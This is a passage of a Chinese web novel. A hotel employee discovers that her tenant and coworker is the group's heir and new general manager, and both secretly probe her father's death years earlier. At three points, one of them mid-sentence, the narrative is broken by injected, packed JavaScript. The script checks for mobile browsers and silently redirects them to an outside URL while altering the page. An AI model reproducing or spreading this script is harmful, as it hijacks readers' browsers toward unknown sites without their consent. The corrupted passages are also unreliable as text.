陶新柔睫毛颤动了几下，迷迷糊糊地睁开眼，视线聚焦了好一会儿，才看清站在门口的人影。 她像是被吓了一跳，猛地坐直身体，薄毯滑落一半，声音带着刚醒的沙哑，慌乱道：“啊，总……你、你回来了？” “嗯，抱歉，回来晚了，吵醒你了。”应景晟换好拖鞋，走了进来，目光扫过茶几上的水果和水杯。 “没……没有，我还没睡呢！就是看电视不小心睡着了。”陶新柔手忙脚乱地理了理头发，又收起毯子。 “你要不要喝点水？”她说着，拿起桌上的凉白开，才发现早就冷了，顿了一下道，“啊，已经凉了，我去重新给你倒杯热水。” 她慌忙站起身，因为起得太急，加上刚睡醒腿还有点软，小腿被毛毯垂下来的边绊了一下，整个人不受控制地向前踉跄。 “小心。” 就在她以为自己要跟地板来个亲密接触时，一只手臂及时扶住了她的胳膊。 陶新柔惊魂未定地抬起头，正对上房荣近在咫尺的脸。 客厅暖黄的灯光下，他的脸上带着一丝关切，眉头微蹙。 他看着她，她也看着他。 四目相对，仿佛时光都变慢了。 陶新柔的思绪已经被拉到了别处。 她闻到他身上淡淡的香气，感觉到他扶着她胳膊的温度。 像那次他搂着她，回忆又陷入。 扑通、扑通—— 心跳又变明显了。 这次，陶新柔能分明的感觉到这是自己的心跳。 是她的心跳声在安静的客厅里显得格外清晰。 她好像又沦陷了一点，面对这张让她几次心惊的脸，毫不犹豫地，坠了下去。 如果房荣真的喜欢她的话…… 等等—— 呸呸呸！ 她不要妄想！ 就是距离太近的关系。 而且，房荣也是顺手而已。 她赶紧从这样的想法里拉扯出来，立刻缩回手，后退一步，拉开距离，脸却瞬间红得像要烧起来，低头结结巴巴道：“谢、谢谢，我先去给你倒水。” 应景晟也顺势松开了手：“不用了，你早点休息吧，下次不用等我。” “没有，我才没等你。”陶新柔脱口而出，随即意识到此地无银三百两，声音立刻低了下去，眼神飘忽，“我就是看电视看得晚了点，哦，对了。”她又拿起桌上的那叠洗好的草莓，“那什么，上次你买的草莓挺好吃的，所以我也去买了一点，加班这么晚，吃点水果补补VC，嗯，还有，我去给你烧壶水。” 说着，她几乎是夺路而逃般地冲向了厨房。 应景晟看着她仓皇的背影，又低头看了看手中那碟明显精心摆放过的水果，嘴角不自觉地向上弯起。 他的这位房东，很贴心。 他端着水果，走到沙发边坐下，电视里的广告还在无声地闪烁。 厨房里传来烧水壶的声响，一切都变得温馨起来。 直到陶新柔端着一杯冒着热气的白开水出来了，脸上红晕还未完全消退，她火速放下，瓮声瓮气道：“我就放这儿了，我先去睡了，你也早点休息。” 说完，她像是被踩了尾巴的猫一样，头也不回地冲进了自己卧室，“砰”地一声关上了门。 门内，陶新柔背靠着房门，捂着依旧发烫的脸，心脏还在不争气地狂跳。 第二次了啊，第二次了！ 陶新柔，你是个傻子吗？为什么要留灯？为什么要准备水果？为什么偏偏睡着了，起来还差点摔倒？ 这下全完了！他肯定觉得我对他…… 啊啊啊！！没脸见人了！ 而一门之隔外，应景晟看着那扇紧闭的房门，静坐了片刻。 应景晟脱下外套，松了松领口，脑海中却再次闪过她惊醒时慌乱的眼睛、递水果时强装镇定却泛红的耳尖。 冰冷的心湖一角，仿佛被投入了一颗持续发暖的小石子。 他现在能明确的是，陶新柔肯定不是张宏斌派来的眼线，但她进入云麓酒店，肯定也不是那么简单的。 如果说陶海振真的是她的父亲的话，她一定也有目的。 应景晟微眯着眼睛看着陶新柔的房门，看来他还得再试探试探她。 * 暴风雨前的宁静总是短暂的。 几天后，云麓酒店的办公室里猛然弥漫起一股紧张的气息。 总部突然下发通知，要求所有不当班的员工立即到大会议室集合，有重要事项宣布。 同事们边七嘴八舌地讨论着，边匆匆赶往大会议室。 陶新柔和郑舒慧刚忙完工作，就被同事通知要去开会。 两人看着众人神色匆匆，也小声揣测。 “新柔，你说突然这么急召集我们开会，是要干嘛啊？” 陶新柔摇摇头，她今天一早就在忙了，还没来得及与酒店的人接触。 等众人在会议室里集合后，主位上还没有人来，几个部门主管的位置也空着。 很快，酒店管理层簇拥着几个人从侧门走了进来，为首的正是应怀山。 台下纷纷倒吸一口凉气，陶新柔也在心里嘀咕：应怀山怎么来了？ 他面带微笑，走向主位，几个领导也瞬间归位， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“我的老天爷！是房荣？怎么会是他？我猜了这么多人，都没猜到是房荣！” “我之前还让他帮我搬过箱子，完了，我使唤过三少爷，我不会被开除吧？” “难怪，我就说！他那个气质，哪里像普通打工的！上次我们团建的时候，他几句话就把基地的经理说的一愣一愣的，果然是上流人士的脑子。” “完了完了，我上周还在茶水间跟他抱怨工资低、领导傻X来着，他会不会记我小本本？” …… 陶新柔感觉那些看着房荣的目光，像针一样扎在自己身上。 她僵硬地站着，脑子里一片空白，耳边全是嗡嗡作响的议论声。 此刻，她感觉自己都尴尬到了极致。 总裁不是主动掉马，而是被动掉马了！ 郑舒慧更是吓得声音抖得不成样子：“新、新柔……你掐我一下，我是不是在做梦？房荣他……他是三少爷？那个应家的三少爷，应景晟？” 而台上，应怀山将这一切尽收眼底，脸上的笑容维持的恰到好处，但应景晟能看出，他的脸色中带着一丝计谋得逞的冰冷。 他想要的，就是这样的效果。 出其不意，突如其来。 让应景晟毫无缓冲地被所有人审视、质疑，被推到最高的地方。 应景晟垂在两侧的手紧紧握拳，即便骑虎难下，他也得昂着头，朝着那个方向走去。 他朝低垂眼眉的张宏斌点点头，意气风发地朝台上走去。 一步一步，坚定地走到了话筒前。 应怀山让出主位，带头鼓掌，扬笑道：“景晟，给大家讲几句话吧。” 所有人都屏息等待着，这位刚刚被强行推上舞台中央的三少爷，他的第一句话，会是什么。 应景晟接过话筒，目光直视前方，声音冷若冰川：“各位同事们，早上好，我是应景晟。” 这场由应怀山一手导演的公开处刑与捧杀，此刻，正式进入了关键环节。 15. 第十五章 那个声音，仿佛穿透了梦境，来到了陶新柔面前。 她看着站在台上的应景晟，心脏狂跳。 应景晟又顿了顿，继续：“我也是房荣，很高兴这段时间与大家一起共事，我本想选择一个更合适的时机向大家说明，但显然，应怀山应副总更想提前送上这份‘惊喜’。” 想来应景晟也是在没有准备的情况下被突然通知的，陶新柔的心里只有一个念头：这个应怀山肯定来者不善。 台下寂静无声，只有应怀山笑着接过话：“你这孩子，这是什么话，给你更大的舞台，是我们当长辈的应该做的事。新上任经理，有什么想法跟大家分享一下？” 应景晟并未看向应怀山，他看过台下每一张脸，才开口：“身份和名字只是标签，不变的是做事的原则与态度。过去这些日子，我以‘房荣’的名义学习如何成为一个合格的酒店人，从今以后，我将以‘应景晟’的名字，思考如何让我们所有人，能把这份工作做得更好，让我们的酒店走得更远。” “好！” 应景晟话音刚落，应怀山就带头热烈鼓掌，紧接着是几个中层干部的掌声，然后是响彻整个会议室的掌声。 所有人似明了非明了地拍着手。 “下面我正式宣布，云麓酒店新一任的总经理为应景晟！” * 员工大会结束后，狂风骤雨即刻到来。 应景晟几乎是被裹挟着，从大会议室被请到了总经理办公室。 39层的办公室内，阳光透过整面落地玻璃倾泻而入，空间宽敞奢华，城市天际线在窗外一览无遗。 这里什么都有，但唯独缺了温度，冰冷得仿佛连时间都凝滞了。 门刚一关上，外面的世界就被隔绝了，无形的压力从四面八方涌来。 首先发难的是以张宏斌为首的中层管理，他们以汇报工作、请示流程为由，轮番轰炸，甚至有些明显是陈年旧规或部门间推诿的糊涂账，摆明了就是想看这位毫无管理经验的太子爷出丑。 应景晟坐在宽大的办公桌后，脸上没有多余的表情，而是极其冷静地处理着。 “接待预案先放下，我需要先看完整体的客户档案和以往的记录。” “损耗率问题，把相关部门的原始数据、过程记录和各自陈述报告放在一起，明天上午十点，叫上相关负责人，开会讨论。” “供应商更换，我要看到详细的品质对比检测报告、市场同类产品价格调研，以及财务部对成本影响的评估。单凭据说，无法决策。” …… 他的回答简洁、直接，全部指向问题的核心数据和事实依据，不轻易表态，也不陷入具体部门扯皮。 几个回合下来，张宏斌等人非但没占到便宜，反而被他不带情绪的追问，弄得有些心虚气短，纷纷退下。 然而，这还只是成为总经理的第一步，紧接着，是各种需要总经理签字的文件，如雪片般飞来。 但，明的刁难容易应对，暗的绊子却防不胜防。 临近中午，行政部经理才一脸为难地进来道：“小应总，您的总经理级别专属配车和司机，原先是张总用的，现在暂时无法换车，车辆调度那边说，目前酒店车辆紧张，您看是不是先克服一下，下午与张总那边的会……” 话没说完，但意思很清楚，我们没给你准备车。 “可以开远程会议，也省去了人力物力，你通知一下张总吧。” “这……” 然而行政部经理刚出去一会儿，原本是张宏斌的秘书严泽又进来汇报：“小应总，原本下午三点约了张总的会，刚才那边来电话，说张总临时有紧急会议，来不了了，他们想跟您明天开会，您看要不要改时间？” 而明天应景晟有个更紧急的会议。 他翻了下记录，跟张总的会是想商讨关于下半年合作的事宜，并不是很紧急，便低头继续签字：“那就让他等着，等我哪天有空了再联系他。” 这些看似细小却无处不在的不变和意外，像一根根细针，不断试探、挑衅着应景晟。 它们未必都直接来自应怀山的指示，但必然有见风使舵之人的默契配合。 他知道，这仅仅是个开始，应怀山绝不会只满足于这些小打小闹。 * 员工大会结束后，对另一个人打击也很大，那就是陶新柔。 她傻傻地坐在工位上，心神不宁。 虽然早就看见了他是未来总裁的画面，但面对当下的冲击，陶新柔还是无法立刻接受。 同事们也无时无刻不在讨论—— “房荣竟然是应景晟！太魔幻了，这以后的日子怎么过？” “我们之前还让他帮忙来着，还说他怎么这么安静，肯定会被针对，结果不仅没被pass，还出现了反转！啊！我果然是连买彩票都种不了的人。” “早知道那时候就应该发现端倪了，我怎么这么傻啊。” …… 同事们的议论声越多，对陶新柔的冲击力就越大。 就在她还在想入非非时，郑舒慧拉着她，激动又后怕：“新柔，你上次说的果然是对的，房荣，啊不是，应景晟，啊不对，小应总果然气质非凡，他真的是应家三少爷。你快帮我回忆回忆，我有没有说过什么不该说的？他会不会记得？啊！我明天不会因为左脚先踏进酒店被开除吧？” 陶新柔自己心里都还是一团乱麻，她完全不知道怎么回应郑舒慧。 所有人都接受不了这个结果，与他们相处了四个月的同事，竟然是应家三少爷，现任云麓酒店的总裁！ 尤其是李美丽，脸色难堪，坐在工位上一语不发。 当时得罪了三少爷，她现在更不敢说话了。 但另一个想法也在陶新柔的脑海中盘旋。 应景晟上位了，是否也代表着她可以依靠他更深入的调查父亲旧案了。 不管是凭借他们曾是同事关系，还是房东与租客的关系。 说不定应景晟能成为查案的关键人物。 身边的人还在叽叽喳喳，陶新柔只觉得头大，她刚才还差点把客人的订单给取消了。 心烦意乱之际，她想去茶水间透口气，却正好听到几个后勤部的同事在八卦—— “哎，你们听说了吗？新总经理今天可是被‘伺候’得格外周到呢，车没得坐，茶没得喝，连约好的客户都放他鸽子。” “不会吧？不是都说新官上任三把火吗？还没烧到我们，怎么先被上面的‘烧’了？” “你傻呀，他们当然是故意的啊，一个公子哥懂什么管理，等着看他怎么把酒店搞垮呢。” “可是他还在客房部工作了好几个月哎，大家竟然都没发现。” “不过话说回来，长得是真帅，又有钱…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17217538|197298||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要是能……” “嘘！小声点！不要命啦！” …… 陶新柔听得心头起火，只能默默退开。 她回到工位，看着电脑屏幕，眼前却浮现出他站在台上，冷静而孤独的身影，还有他被各种琐事和刁难包围。 一种强烈的冲动驱使着她。 总经理办公室所在的行政楼层有专用的茶水间和咖啡机，但根据后勤部今天的意外，那里可能真的什么都没有。 虽然她现在对总裁还有些疑团，但她可以起疑，别人这么对总裁也太不厚道了。 她火速拿了一包品质还不错的挂耳咖啡，又拿了一个干净的新马克杯冲泡好，悄悄放在了楼层公共茶水间最里面的桌子上。 又给应景晟发了条微、信：“祝贺你成为总经理，给你在茶水间留了杯咖啡，加油。” 做完这一切，陶新柔感觉心跳得很快，脸上也染上了红晕。 她不自觉在心里腹诽：陶新柔你疯了！你在干什么？他可是总裁！需要你这种廉价的安慰吗？ 但做完之后，心里那团乱麻，似乎松开了一点。 * 下班回到家，陶新柔一进门，眼神就忍不住往次卧瞟。 只是一切如常，门口没有行李箱，客厅里也没有任何要搬走的迹象。 陶新柔狐疑：平民体验卡都到期了，总裁么还不回豪华城堡？ 她正对着次卧门进行眼神拷问，门锁“咔哒”一响，应景晟回来了，手里居然还拎着两个印着隔壁家常菜馆logo的打包袋，香气隐隐飘出。 “陶新柔，你今天走得真快，我正好路过这家店，打包了上次你们说好吃的椒麻鸡和排骨，还热着，快叫阿姨出来吃饭吧。”应景晟神态自若，还晃了晃手里的袋子。 陶新柔一愣，目光在他笑意盈盈的脸上和打包袋之间来回移动，然后忍不住朝他身后空荡荡的楼道张望。 怎么……不见他的秘书？ 似是看出了陶新柔的疑虑，应景晟走过去小声回答：“先别告诉阿姨，这件事请你替我保密。” 陶新柔心里更惊慌了，陶母早就知道了，只是为了配合小应总演戏，不得不扮演“房东一家都是演员”，可眼下…… “可是……您现在身份不一样了，住这里会不会太委屈了？”陶新柔想了想又换了个说法，“我是说，酒店应该有给您安排更好的住处吧？” 谁知，应景晟反而皱起眉头：“合同签了一年，房租也预付了，难道是你觉得哪里不方便？还是……你想提前结束租约？”说着又垂下眼眸，“我以为我们相处的还算愉快。” 看着应景晟这样的眼神，陶新柔心里警铃大响：完了，总裁生气了，总裁变脸真快！ 她立刻把头摇得像拨浪鼓，大力发誓：“没有没有，绝对没有！您千万别误会！我就是……纯粹关心，员工对领导的关心！” “没有就好，不过你别太客气了，私下里，还像以前一样，叫我房荣就行。”应景晟神情缓和下来，拎着袋子走向厨房，“我去把菜装盘，叫阿姨一起吃饭吧。” 看着他的背影，陶新柔默默握紧了拳头。 总裁室友看来是甩不掉了。 但换个角度想，这可是24小时近距离观察目标人物的绝佳机会。 虽然压力大了点，但这或许是查案的最好时机。 冲鸭！ 16. 第十六章 一餐饭还是吃的十分拘束，陶母大力扮演着好邻居阿姨的作风，陶新柔只低头吃饭，不说话。 大家都各怀鬼胎。 吃完饭后，应景晟正要收拾桌子，陶新柔眼疾手快，几乎是抢过碗筷道：“我来我来！应……房荣，你快去休息吧，这里就交给我们了！” 陶母见状，也配合着：“是啊是啊，哪有让租客来收拾的，你放着，我们自己来。” 母女俩动作麻利得像在逃避什么，只想赶紧把这位高深莫测的总裁室友请回他的房间。 然而应景晟并未离开，反而让陶母去房间里休息，他安顿好陶母后，出来时陶新柔已经在刷盘子了。 厨房和客厅有一扇窗户，陶新柔看到应景晟站在客厅里看着什么，随后回头问她：“刚搬进来的时候，就注意到阿姨一直很用心供奉，还以为阿姨是信佛之人，今天才看到叔叔的照片。” 正在擦盘子的手顿了一下，心脏猛地一沉，陶新柔这才知道，原来应景晟一直在看佛龛。 父亲有一张小小的遗照一直摆放在佛龛，不仔细看的话，很难发现。 这些年，她们母女俩过得小心翼翼。 就连父亲也跟着他们一起小心翼翼。 她低下头，强迫自己不要停下动作，平稳思绪答：“当然可以。” 应景晟上了香后，又来到厨房，似是随意道：“一直没听你们提起叔叔，其实之前也有顾虑，我一个男人住进来会不会不太好，所以也想问问，没想到叔叔已经离世了。” “嗯，我爸他走得很早，15年前就离世了，我妈身体也不好，她一个人把我抚养长大，很不容易。” 陶新柔擦着盘子，又塞进橱柜里。 她没去看应景晟，但余光中仿佛能看到他颀身哀怨的模样。 她想她应该是看错了。 “这样啊，抱歉。”应景晟歉意道。 “没什么，都过去很久了，我们都习惯了。”陶新柔关掉水龙头，用毛巾擦着手，抬起头，脸上已经调整好一副“往事不必再提”的淡然表情，甚至还对他笑了笑，“前几任租客也不太喜欢，觉得晦气，如果你也觉得不舒服，我让妈妈明天就撤走。” “不用，叔叔每天跟我们在一起也挺好的，我不害怕。” 陶新柔抬起头看着他，没看出反话的意思，但还是直截了当道：“你不必同情我们，我们早就习惯了。” “我不是这个意思……”应景晟想解释什么，空气却变得沉默，两人不知该再说些什么。 直到陶新柔整理好厨房，关上灯，才像是想起什么似的匆匆走过他身边：“那个……我还有点工作资料要整理，先回房了。” 目送陶新柔走进房间，应景晟依旧站在原地，他想起下午看到的信息，去茶水间看到的“加油”咖啡，目光重新投向那个安静的神龛，在心里敬畏地拜了三拜。 这个心思细腻的女孩子，承受了15年的悲痛。 15年……时间点似乎能对上一些模糊的线索。 她没说具体细节，但那种下意识的防备，与其说是悲伤，不如说更像是一种警惕。 应景晟的脑海里迅速闪过王安然下午发来的秘密信息： 【小应总，已确认陶海振就是陶新柔的父亲。陶海振曾于1997年至2009年间任职于云麓集团后勤部，后于2009年调职至西南分公司，任职期间因突发意外身亡，官方记录为车祸身亡。陶新柔于7月通过正规招聘渠道入职我司城市花园酒店客房部，背景审查无异常。】 陶海振的女儿、入职云麓酒店员工、试图翻阅历史档案，以及此刻，对她关于父亲问题的敏感回避。 有一些关联，在应景晟的脑海里呼之欲出。 她目标明确，方向精准。 看来这起案件，绝对隐藏着不一般的真相。 他之所以选择不搬出去，也是因为想调查清楚她身上的真相。 应景晟回了房，走到窗边，夜色已浓，窗外是寻常人家的点点灯火，而这间小小的出租屋，仿佛一个奇特的观察站。 应景晟想到刚才陶新柔说“不必同情”时，眼里一闪而过的不是脆弱，而是坚硬的执念。 那不仅仅是一个女儿对早逝父亲的怀念，更像是希望找到什么真相的眼神。 他低头，给王安然发消息：【加快整理西南分公司的业务，还有，关于陶海振在西南分公司的关系网，也查一下。】 【是。】 这一夜，隔着一道墙，两人都睡得不太安稳。 * 经过昨天一天犹如过山车般的经历，今天所有人都像是上了发条般，努力工作。 陶新柔进入办公室时，都没人说话，只有噼里啪啦打字的声音，和与客户沟通的匆忙声。 应景晟的位置空了，还没有人来，他桌上的东西都已经收走了，位置被保洁打扫得锃亮。 所有人都不敢朝那个位置看，仿佛那是一个神圣的地方。 既然有一个比别人都多的接触总裁的机会，陶新柔决定，她要好好利用。 说不定能从应景晟这边拿到关于父亲的更多资料。 然而整理档案的事情已经结束了，陶新柔需要新的借口进入档案室。 VIP楼层服务总结就成了她最好的一个借口，她记得部门每个月都会上报月度总结，以前是汇报给张宏斌，现在不知道是不是汇报给应景晟，但她可以试试，毕竟今天就是月度总结的时候。 如果她能把这个总结告诉魏浩，得到认可的话，说不定就能去应景晟那儿露个脸，顺理成章地拿到分公司的盖章。 不过能不能得到魏浩认可，就得看命了。 先说干就干，陶新柔噼里啪啦地写完报告，敲响了魏浩办公室的门。 此时魏浩正在看着手头的文件烦恼，嘴里嘟囔着：“这数据格式怎么又对不上，行政部那边也真是，新系统上线说明也不发全。” 陶新柔心中一动，瞥了一眼他拿在手上摊开的文件，是月度客房用品损耗分析报告，似乎需要与财务及仓储数据进行三方核对，格式要求复杂。 “魏主管，是报告格式遇到问题了吗？”她问。 魏浩正烦着，也没多想：“是啊，行政部那边要求这些分析报告全部标准化，模板倒是给了，但跟旧系统导出来的数据对接老出问题，还得手动调整，下午就要交到行政部汇总了。” 陶新柔眼睛一亮，先帮魏浩解决个难题，后面再说自己的想法就好办了。 “那个，我之前整理VIP档案的时候，因为涉及很多历史数据归类，自己琢磨着做了几个Excel公式和模板，专门用来处理不同格式数据的匹配，不知道对您这个有没有用？我可以帮您看看。” 魏浩正好着急，闻言立刻像抓住了救命稻草：“你会弄这个？太好了！之前有房荣在，啊，不是，小应总在的时候，还让他帮忙处理了几次，哎，这下让他知道我不会弄，可糟糕了。你快帮我看看，这堆数字看得我头大。” 陶新柔很快帮魏浩把数据导入自己做好的模板里，原本杂乱的数据立刻变得清晰规整。 魏浩看着焕然一新的报表，大喜过望：“行啊陶新柔，没想到你还有这手，可帮我大忙了。”魏浩喜出望外。 陶新柔谦逊地笑笑，心里的小算盘却打得噼啪响：太好了！领导认可度+1！是时候进行第二步计划了。 “谢谢魏主管！其实……我还琢磨了一份关于VIP楼层服务的总结和优化设想，我想着，小应总新上任，肯定特别关心核心业务，而且他之前在我们部门待过，肯定也是想了解核心业务，我们要是能主动汇报点有建设性的东西，是不是也能给客房部长长脸？” 魏浩接过报告，翻看几页，眼睛越来越亮：“可以啊小陶！写得挺好的，正好，下午我要去汇报月度工作，你跟我一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“我觉得没有。”应景晟合上报告，抬起头看着陶新柔，那目光没有如往常般温柔，反而是冷峻且严厉的，“你现在写的东西看起来就像是一时兴起的空想，除非你能证明以往的事例，可以实实在在地提升现在的客房入住率和客人满意度的方案。” “应总……”陶新柔想再次争取。 “这件事先放这儿，我会再研究的。” 应景晟低下头，不再看两人。 机会落空，陶新柔和魏浩只能走出办公室。 “小陶，你刚才表现的不错，虽然方案可能在小应总眼中有些空想了，但他愿意听你的方案，已经是最大的鼓励了，你也别失望，下次再拿出更好的汇报。”魏浩投来鼓励的目光。 陶新柔点点头，说会再努力的。 其实心里气得要命，什么温柔的普通同事，和气的租客，装的，都是装的！ 现在的样子才是他原本的样子！ 应景晟就是个妥妥的大反派！ 她要跟他势不两立！ * 而总裁办公室内，应景晟又重新拿起那份报告，翻到提及历史和总部档案的那几页，眼神幽深。 他知道她想干什么，但在所有事情都没有眉目的情况下，他不能，或者说不敢让她擅自接触到这些内容。 更何况，他还没完全探听出她的最终目的是什么。 他得先弄清楚她到底是哪边的人。 为了自保，也为了保护她，应景晟决定要慢慢把这件事掌握在自己手里。 如果她要查的事情，有利于他还好，要是与他站在对立面，他可得立马行动。 他转身看着车水马龙的街头，思考着下一步该如何计划。 就在这时，王安然的电话打了进来：“小应总，陶新柔的父亲陶海振，当年在西南分公司的直接上级和几个关键同事名单，已经初步梳理出来了。” “现在就发给我。” “是。” 17. 第十七章 应景晟查看着王安然发来的密件，心头一紧。 陶海振当年在西南分公司的直属上司，竟然是应怀山？ 这么说来，陶新柔的最终目的是不是也是应怀山？ 她既然想进入档案室，一定是想知道她父亲当时的人际关系，看来，她现在还不知道她要对付的就是应怀山。 但她现在查到哪儿了，对他父亲的案子了解了多少，他不明确，他需要从这个方面试探她一下。 * 还在耿耿于怀的陶新柔确实十分气愤。 她决定不伺候应景晟了。 所以这晚吃饭，她不仅绷着脸，还让应景晟自己去盛饭。 陶母不明所以，一个劲儿使眼色，陶新柔只当没看见，埋头把米饭扒拉得飞快，心里的小人已经把应景晟画在靶子上扎了无数遍：【总裁了不起啊！阻碍员工进步的老板不是好租客！】 应景晟倒是面色如常，自己盛了饭，坐下安静用餐，甚至还在陶母热情推荐菜时，多夹了一筷子她烧的茄子，称赞道：“阿姨手艺真好。” 陶新柔听着更气了。 吃吃吃！就知道吃！我的档案馆通行证呢？ 她瞪了应景晟一眼，没想到这一眼正好被他发现，吓得陶新柔立马低头，假装认真挑着碗里的饭粒，心里苦涩。 一餐饭又吃的食而无味，陶新柔瘫软着回到房间。 “小柔，最近工作压力很大吗？妈看你都瘦了。”陶母关心道。 陶新柔一骨碌起身，摸了摸自己的脸。 好像下巴确实锋利了一些。 可不嘛，天天吃不好睡不好的，怎么能不瘦。 “妈，我没事，你别担心，对了，你这个月去看医生结果怎么样？” 陶母因为患有风湿性心脏病，需要常年服药控制心率，还要定期复查心脏彩超评估瓣膜情况。 医生早就提过，如果未来病情进展出现重度狭窄或合并关闭不全，就可能需要面临心脏瓣膜置换手术。 不过陶母目前药物控制下情况还算稳定，但偶尔会感觉胸闷气短，尤其在阴雨天或劳累后，只是她怕女儿担心，总是说“没事，老毛病了”，这次，陶新柔也照例从陶母嘴里听到了这句话。 陶新柔追问：“医生真的说稳定吗？药有没有按时吃？下次复查是什么时候？我陪你去。” 一连串的问题，陶母看出陶新柔的担忧，她点点头，笑容温和却难掩长久被病痛折磨的疲态：“放心吧，妈心里有数，药都按时吃着呢。医生说只要注意休息、避免感冒和情绪激动，按时复查，就还能维持好长一段时间。你工作已经够辛苦的了，别总惦记我这点老毛病。” 陶新柔看着母亲，眼神里更是露出一丝担忧：“妈，我怎么可能你不担心你，药你一定要按时吃，别担心钱的问题，我现在赚钱了，一定能让你健健康康地活到100岁！” 陶母欣慰地看着陶新柔：“柔柔，妈这辈子没什么本事，也提供不了你很好的生活支撑，一切都只能靠你自己，在公司，你一定要小心小心再小心。”说着又咳嗽起来。 自父亲离世后，他们母女原本还在奶奶家生活，陶母仍旧承担着婆婆的日常起居，母亲说，不能让老人一个人。 那时候，奶奶还会拉着母亲的手哭诉她辛苦。 然后，姑姑来了。 姑姑嫁在隔壁城市，父亲出事那几天回来过，五七那天，姑姑又搬来了，一住，就是半个月。 她拎着行李进门的时候，陶新柔正在院子里玩，姑姑从她身边走过，没打招呼，径直进了屋。 那天晚上，陶新柔听见姑姑和奶奶在房间里说话。 “妈，您就打算这么一直住着？” “不住这儿住哪儿？” “您是房主啊，您有权利做一些事，海振没了，这房子按理说……” 陶新柔听不清后面的话了。 但从那天起，家里的气氛变了，奶奶总是挑母亲的毛病—— “这菜咸了，我有高血压你不知道吗？要害死我啊？” “这地这么脏，桌子也不擦，你天天在家都忙什么？” “你看看，孩子天天就知道往外跑，不好好学习，像什么样子，我们家可不养闲人！” 而姑姑也在一旁帮腔：”是啊，嫂子，我们把妈放心交给你照顾，是信任你，妈要有个什么闪失，你赔得起吗？” 陶母从不反驳，只是低头应着：“是，妈，我下次注意。” 陶新柔不理解，奶奶怎么突然性情大变了。 但这些事却一次比一次严重，直到有一次，陶母正在拖地，没顾上房里的奶奶，让她摔了一跤，姑姑再也坐不住了：“嫂子，你这是什么意思！妈要出来走动你也不看着点儿！” 而姑姑却坐在客厅里把电视声开得老大。 陶母摘下橡胶手套，一脸自责：“妈，您没事吧，我带您去医院看看。” “看什么看？肯定骨折了！我妈要是有什么三长两短，你赔得起吗你！” 陶母的脸涨得通红，搓着手不知所措：“对不起，对不起，是我不好。” “对不起有用吗？我早就说过，你照顾不好我妈！我弟就是被你克死的，现在又来克我妈！” 陶新柔冲上去，挡在母亲面前：“你不许这么说我妈！” 姑姑愣了一下，然后冷笑起来：“哟，小丫头片子还学会顶嘴了？你也不是什么好东西，天天一张嘴就说谁要发生什么什么的，你爸也是被你害死的，扫把星！” “姐，孩子只是帮我，你要埋怨就埋怨我，别跟孩子置气。” “哼，我才不跟她置气，我只是告诉你，你们外姓人住在这儿，总得有点分寸。” “外姓人？柔柔可是陶家的，她不是外姓人。”陶母生气。 “可拉倒吧，这小野种子谁知道呢，长得也不像我弟，我看也不知道是你跟谁生的，妈，我们干脆就挑明了吧，这房子是海振的，海振走了，房子就是留给妈的，现在你们还赖在这儿，真是不要脸。” 陶母终于忍不住，回了一句：“姐，这房子是海振买的，房产证上写的是海振和妈的名字，我们娘俩住在这儿，是天经地义的。” 姑姑脸色变了：“是吗？” 第二天，姑姑就带了一个陌生男人进来，那个男人自称是律师。 她们在房间里说了很久，陶新柔趴在门上听。 “你妈还在，可以 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“酒店为了庆祝集团成立五十周年，筹备做一个与文化传承相关的项目，现在需要从各业务部门抽调有过历史资料梳理经验的员工组成临时小组，协助完成前期的基础资料汇集和初步分析工作，我记得之前我们部门是陶新柔、魏嘉信负责的吧？” 两人皆点头。 “那行，你俩留一下，其他人散会。” 等其他人都走后，魏浩才把两人叫到跟前，把总经办刚才发的通知转达给两人。 “项目期间，可能会需要协助项目组，去总部档案馆调阅一些与服务演进相关的、已解密可公开的历史文件作为研究素材。当然，一切查阅都会在项目组负责人的带领下，严格按照档案馆规定进行。这是个很好的学习机会，也能为部门争光。” “没问题，魏主管，这事包在我身上了。”魏嘉信拍了拍胸脯。 陶新柔也点点头，但心里早就激动不已。 档案馆！ 虽然不是直接进去，但能以项目组成员身份接触相关档案，这简直是峰回路转！ 看来应景晟不告诉她，是为了一个合理的理由，或者说……是为了给她一个惊喜吗？ 陶新柔心头一动。 她昨天真是错怪总裁了，今晚她就要回去好好感谢一下总裁大人！ * 39楼的总经理办公室里，应景晟正听着王安然的汇报。 “档案馆那边也联系过了，档案馆表示会配合。” “嗯。”应景晟点了点头，目光落在窗外。 这样，既能将她置于一个相对安全、可控的范围内接触历史资料，又能通过她在这个项目中的进展，进一步观察她的真实目标。 “另外。”王安然补充，“我们查到了从西南分公司退休的员工孙国富那边，打算安排的人以老同事叙旧的方式试着了解一些事情，不过我们提前通过他了解到了陶海振家里的一些状况，他说陶海振有一段时间特别受应怀山的重用，两人经常同进同出。” 18. 第十八章 应景晟眉眼一亮，看来应怀山是主导的事更坐实了。 “具体事宜我们还在查。小应总，这几天应监事总是问我您什么时候回家住？” 应景晟被王安然突然转了的话锋打断思路，他沉默片刻才道：“就说我在外面还有些线索要查，需要就近跟进，住在酒店附近更方便，家里暂时不回去。” 王安然顿了顿，谨慎地问：“是否需要我帮您准备一套更合适的公寓？现在住的地方毕竟……” “不用。”应景晟打断他，“这里很好，不会引起注意，你只需要管好该查的事。” “好的，小应总。” 只是王安然的电话刚挂，应怀瑾的电话就打来了。 “景晟，安然说你最近都住在酒店附近？怎么不回家？” 